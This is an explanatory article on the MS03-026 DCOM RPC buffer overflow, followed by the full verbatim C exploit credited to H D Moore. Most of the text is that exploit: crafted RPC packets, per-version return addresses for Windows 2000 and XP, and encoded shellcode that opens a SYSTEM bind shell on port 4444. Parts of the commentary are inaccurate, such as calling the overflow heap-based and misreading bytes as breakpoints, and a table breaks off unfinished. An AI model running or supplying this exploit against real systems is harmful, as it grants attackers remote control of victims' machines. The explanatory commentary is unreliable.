Exploiting MS03-026: A Deep Dive into the DCOM RPC Buffer Overflow

What this paper is

This paper presents a C exploit for a critical remote buffer overflow vulnerability in Microsoft's Distributed Component Object Model (DCOM) Remote Procedure Call (RPC) service. Discovered by "LSD" and based on code by "Xfocus," this exploit, rewritten by H D Moore, targets Windows 2000 and Windows XP systems. It allows an attacker to execute arbitrary code with SYSTEM privileges on a vulnerable machine by sending specially crafted RPC requests. The exploit leverages a heap-based buffer overflow to overwrite control structures and redirect program execution to injected shellcode.

Simple technical breakdown

The vulnerability lies in how the DCOM RPC service handles certain incoming requests. Specifically, it fails to properly validate the size of data being copied into a buffer on the heap. When a malformed request is sent, it can cause an overflow, overwriting adjacent memory on the heap.

The exploit works in two main stages:

1. Initial Connection and Overflow: The exploit first connects to the target machine on the DCOM RPC port (135). It then sends a series of carefully crafted network packets that trigger the buffer overflow. This overflow is designed to overwrite a critical data structure on the heap, allowing the attacker to control where the program execution jumps next. The exploit injects a "return address" that points to the shellcode it also sends.
2. Shellcode Execution and Bind Shell: Once the overflow is successful and execution is redirected, the injected shellcode runs. This particular shellcode is a "bind shell," meaning it opens a listening port (port 4444 in this case) on the compromised machine. The attacker can then connect to this port to gain a command shell with SYSTEM privileges.

The exploit includes a list of known vulnerable operating system versions and their corresponding memory addresses (offsets) where the shellcode's return address should be placed to ensure successful redirection.

Complete code and payload walkthrough

Let's break down the C code and the embedded payloads.

Global Data Structures and Variables

• bindstr[]: This is a byte array representing a specific RPC request. Its purpose is to initiate a connection and potentially trigger an initial response from the DCOM RPC service. It contains fields related to RPC binding, interface identifiers, and other protocol-specific information.
  • Practical Purpose: This likely serves as the initial handshake or a specific DCOM method call that is vulnerable to the overflow.
• request1[]: This is a large byte array representing a more complex RPC request. It contains headers, object identifiers (like GUIDs), and data that will be processed by the vulnerable DCOM RPC function. It's structured to contain the exploit's payload.
  • Practical Purpose: This is the primary packet that carries the overflow data and the shellcode. It's meticulously crafted to exploit the buffer overflow.
• request2[]: Another byte array, likely a continuation or a related part of the RPC request. It seems to contain offsets or lengths that are adjusted by the exploit code.
  • Practical Purpose: This part of the request likely contains parameters that, when combined with the overflow, help in redirecting execution. The code modifies values within this array.
• request3[]: A smaller byte array, possibly containing file path information or other string data.
  • Practical Purpose: This might be used to construct a path or a command string that the vulnerable service attempts to process, leading to the overflow.
• request4[]: Another smaller byte array, likely a final part of the RPC request.
  • Practical Purpose: This could be a concluding part of the RPC call, ensuring the malformed data is processed in a way that triggers the vulnerability.
• targets[]: An array of strings listing the targeted operating system versions and service pack levels.
  • Practical Purpose: This provides a human-readable mapping for the target_id argument.
• offsets[]: An array of unsigned long integers. Each value corresponds to a specific target in the targets array and represents a memory address (likely a function or data structure address) within the vulnerable system's memory. This address is where the exploit aims to redirect execution.
  • Practical Purpose: These are the "return addresses" or "jump targets" specific to each OS version, pointing to the location where the shellcode is expected to be found in memory after the overflow.
• sc[]: This is the shellcode itself. It's a sequence of bytes designed to be executed by the target system. This specific shellcode is a bind shell that listens on port 4444 and provides a command shell.
  • Practical Purpose: This is the payload that executes after the overflow. It establishes a reverse connection or, in this case, a bind shell, giving the attacker control.
  • Shellcode Breakdown (sc[]):
    • \x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00\x46\x00\x58\x00\x46\x00\x58\x00: These initial bytes appear to be padding or part of a larger structure, possibly related to the DCOM protocol itself or the way the shellcode is embedded. Their exact function without deeper disassembly is unclear, but they precede the critical exploit components.
    • \xff\xff\xff\xff /* return address */: This is a placeholder for the actual return address. The exploit code later overwrites this with a calculated address from the offsets array. This is the address the vulnerable program will jump to after the overflow.
    • \xcc\xe0\xfd\x7f /* primary thread data block */ (repeated): These bytes are likely placeholders for data related to thread information or memory management. The 0x7ffd0000 range is often associated with the stack or heap in Windows. The 0xCC bytes are typically "INT 3" breakpoints, often used for debugging or as padding.
    • /* port 4444 bindshell */: This comment indicates the following bytes constitute the actual bind shell payload.
    • The remaining bytes are the machine code for the bind shell. This shellcode typically performs the following actions:
      1. Socket Creation: Creates a TCP socket.
      2. Binding: Binds the socket to a specific IP address (usually 0.0.0.0 for all interfaces) and port (4444).
      3. Listening: Enters a listening state for incoming connections.
      4. Accepting: Accepts an incoming connection.
      5. Duplicating Handles: Duplicates the accepted socket's file descriptors (stdin, stdout, stderr) to standard input, output, and error streams.
      6. Executing Shell: Executes a command interpreter (like cmd.exe) and redirects its input/output to the duplicated socket handles.
      7. Looping: In some bind shells, there might be logic to handle multiple connections or to restart if a connection is lost, though this specific one appears to be a single-shot bind.

Functions

• shell(int sock): This function takes a socket descriptor as input. It enters a loop that continuously monitors two file descriptors: standard input (0) and the provided socket (sock).
  • It uses select() to wait for activity on either descriptor.
  • If data is read from standard input (FD_ISSET(0, &rfds)), it's sent to the remote socket.
  • If data is read from the remote socket (FD_ISSET(sock, &rfds)), it's written to standard output (the console).
  • This function effectively bridges the local terminal's input/output with the remote shell's input/output, creating an interactive shell experience.
  • Practical Purpose: This function provides the interactive command-line interface once the exploit has successfully established a connection to the bind shell.
• main(int argc, char **argv): The main function orchestrates the exploit.
  • Argument Parsing: It checks for the correct number of command-line arguments (argc). It expects at least two: the target ID and the target IP address. If not provided, it prints usage instructions and the list of supported targets.
  • Target Selection: It converts the target_id argument to an integer and uses it to select the corresponding ret (return address) from the offsets array.
  • Return Address Patching: It copies the selected ret address into the sc (shellcode) buffer at a specific offset (sc+36). This is crucial for redirecting execution.
  • Socket Initialization: It creates a TCP socket (AF_INET, SOCK_STREAM) and sets up the sockaddr_in structure for the target IP address and the DCOM RPC port (135).
  • First Connection and Exploit Packet Construction:
    • It connects to the target IP on port 135.
    • It begins constructing buf2 by copying request1.
    • It then modifies specific values within request2 and buf2 using *(unsigned long *). These modifications likely adjust lengths or offsets within the RPC packet to accommodate the size of the injected shellcode (sc). The -0xc adjustments are common when dealing with buffer sizes and offsets in network protocols.
    • It appends request2, the patched sc (shellcode), request3, and request4 to buf2.
    • It sends bindstr first. This might be to establish a connection or to trigger a state in the server that makes the subsequent overflow more reliable.
    • It receives a response from the server (up to 1000 bytes) into buf1. This might be to confirm the initial connection or to gather information, though the received data isn't directly used for the exploit logic itself.
    • It sends the fully constructed buf2 (containing request1, modified request2, sc, request3, request4) to the target.
    • It closes the first socket.
  • Second Connection and Shell:
    • It re-initializes the sockaddr_in structure, this time for port 4444.
    • It creates a new socket.
    • It attempts to connect to the target IP on port 4444. If this connection fails, it prints a failure message, indicating the exploit likely didn't succeed.
    • If the connection to port 4444 is successful, it prints a "Dropping to System Shell..." message.
    • It calls the shell() function, passing the socket connected to port 4444. This function then handles the interactive shell.
  • Practical Purpose: This function is the main driver of the exploit, handling target selection, packet construction, network communication, and the transition to the interactive shell.

Code Fragment/Block -> Practical Purpose Mapping

| Code Fragment/Block

Original Exploit-DB Content (Verbatim)

/*
  DCOM RPC Overflow Discovered by LSD - Exploit Based on Xfocus's Code
   
  Written by H D Moore <hdm [at] metasploit.com>
   
  - Usage: ./dcom <Target ID> <Target IP>
  - Targets:
  -          0    Windows 2000 SP0 (english)
  -          1    Windows 2000 SP1 (english)
  -          2    Windows 2000 SP2 (english)
  -          3    Windows 2000 SP3 (english)
  -          4    Windows 2000 SP4 (english)
  -          5    Windows XP SP0 (english)
  -          6    Windows XP SP1 (english)
 
*/

#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};



unsigned char *targets [] =
        {
            "Windows 2000 SP0 (english)",
            "Windows 2000 SP1 (english)",
            "Windows 2000 SP2 (english)",
            "Windows 2000 SP3 (english)",
            "Windows 2000 SP4 (english)",
            "Windows XP SP0 (english)",
            "Windows XP SP1 (english)",
             NULL                                                                                       
        };
        
unsigned long offsets [] = 
        {
            0x77e81674, 
            0x77e829ec, 
            0x77e824b5, 
            0x77e8367a, 
            0x77f92a9b, 
            0x77e9afe3,
            0x77e626ba,
        };

unsigned char sc[]=
    "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
    "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
    "\x46\x00\x58\x00\x46\x00\x58\x00"

    "\xff\xff\xff\xff" /* return address */
    
    "\xcc\xe0\xfd\x7f" /* primary thread data block */
    "\xcc\xe0\xfd\x7f" /* primary thread data block */

    /* port 4444 bindshell */
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
    "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
    "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
    "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
    "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
    "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
    "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
    "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"
    "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
    "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
    "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
    "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
    "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
    "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
    "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
    "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
    "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
    "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
    "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
    "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
    "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
    "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
    "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
    "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
    "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
    "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
    "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
    "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
    "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
    "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
    "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
    "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";

   

unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};


/* ripped from TESO code */
void shell (int sock)
{
        int     l;
        char    buf[512];
        fd_set  rfds;


        while (1) {
                FD_SET (0, &rfds);
                FD_SET (sock, &rfds);

                select (sock + 1, &rfds, NULL, NULL, NULL);
                if (FD_ISSET (0, &rfds)) {
                        l = read (0, buf, sizeof (buf));
                        if (l <= 0) {
                                printf("\n - Connection closed by local user\n");
                                exit (EXIT_FAILURE);
                        }
                        write (sock, buf, l);
                }

                if (FD_ISSET (sock, &rfds)) {
                        l = read (sock, buf, sizeof (buf));
                        if (l == 0) {
                                printf ("\n - Connection closed by remote host.\n");
                                exit (EXIT_FAILURE);
                        } else if (l < 0) {
                                printf ("\n - Read failure\n");
                                exit (EXIT_FAILURE);
                        }
                        write (1, buf, l);
                }
        }
}


int main(int argc, char **argv)
{
    
    int sock;
    int len,len1;
    unsigned int target_id;
    unsigned long ret;
    struct sockaddr_in target_ip;
    unsigned short port = 135;
    unsigned char buf1[0x1000];
    unsigned char buf2[0x1000];

    printf("---------------------------------------------------------\n");
    printf("- Remote DCOM RPC Buffer Overflow Exploit\n");
    printf("- Original code by FlashSky and Benjurry\n");
    printf("- Rewritten by HDM <hdm [at] metasploit.com>\n");


    if(argc<3)
    {
        printf("- Usage: %s <Target ID> <Target IP>\n", argv[0]);
        printf("- Targets:\n");
        for (len=0; targets[len] != NULL; len++)
        {
            printf("-          %d\t%s\n", len, targets[len]);   
        }
        printf("\n");
        exit(1);
    }
 
    /* yeah, get over it :) */
    target_id = atoi(argv[1]);
    ret = offsets[target_id];
    
    printf("- Using return address of 0x%.8x\n", ret);

    memcpy(sc+36, (unsigned char *) &ret, 4);

    target_ip.sin_family = AF_INET;
    target_ip.sin_addr.s_addr = inet_addr(argv[2]);
    target_ip.sin_port = htons(port);

    if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
    {
        perror("- Socket");
        return(0);
    }
    
    if(connect(sock,(struct sockaddr *)&target_ip, sizeof(target_ip)) != 0)
    {
        perror("- Connect");
        return(0);
    }
    
    len=sizeof(sc);
    memcpy(buf2,request1,sizeof(request1));
    len1=sizeof(request1);
    
    *(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;  
    *(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;
    
    memcpy(buf2+len1,request2,sizeof(request2));
    len1=len1+sizeof(request2);
    memcpy(buf2+len1,sc,sizeof(sc));
    len1=len1+sizeof(sc);
    memcpy(buf2+len1,request3,sizeof(request3));
    len1=len1+sizeof(request3);
    memcpy(buf2+len1,request4,sizeof(request4));
    len1=len1+sizeof(request4);
    
    *(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;
    

    *(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;  
    *(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
    
    if (send(sock,bindstr,sizeof(bindstr),0)== -1)
    {
            perror("- Send");
            return(0);
    }
    len=recv(sock, buf1, 1000, 0);
    
    if (send(sock,buf2,len1,0)== -1)
    {
            perror("- Send");
            return(0);
    }
    close(sock);
    sleep(1);
    
    target_ip.sin_family = AF_INET;
    target_ip.sin_addr.s_addr = inet_addr(argv[2]);
    target_ip.sin_port = htons(4444);

    if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
    {
        perror("- Socket");
        return(0);
    }
    
    if(connect(sock,(struct sockaddr *)&target_ip, sizeof(target_ip)) != 0)
    {
        printf("- Exploit appeared to have failed.\n");
        return(0);
    }   
   
    printf("- Dropping to System Shell...\n\n");

    shell(sock);
    
    return(0);
}

// milw0rm.com [2003-07-26]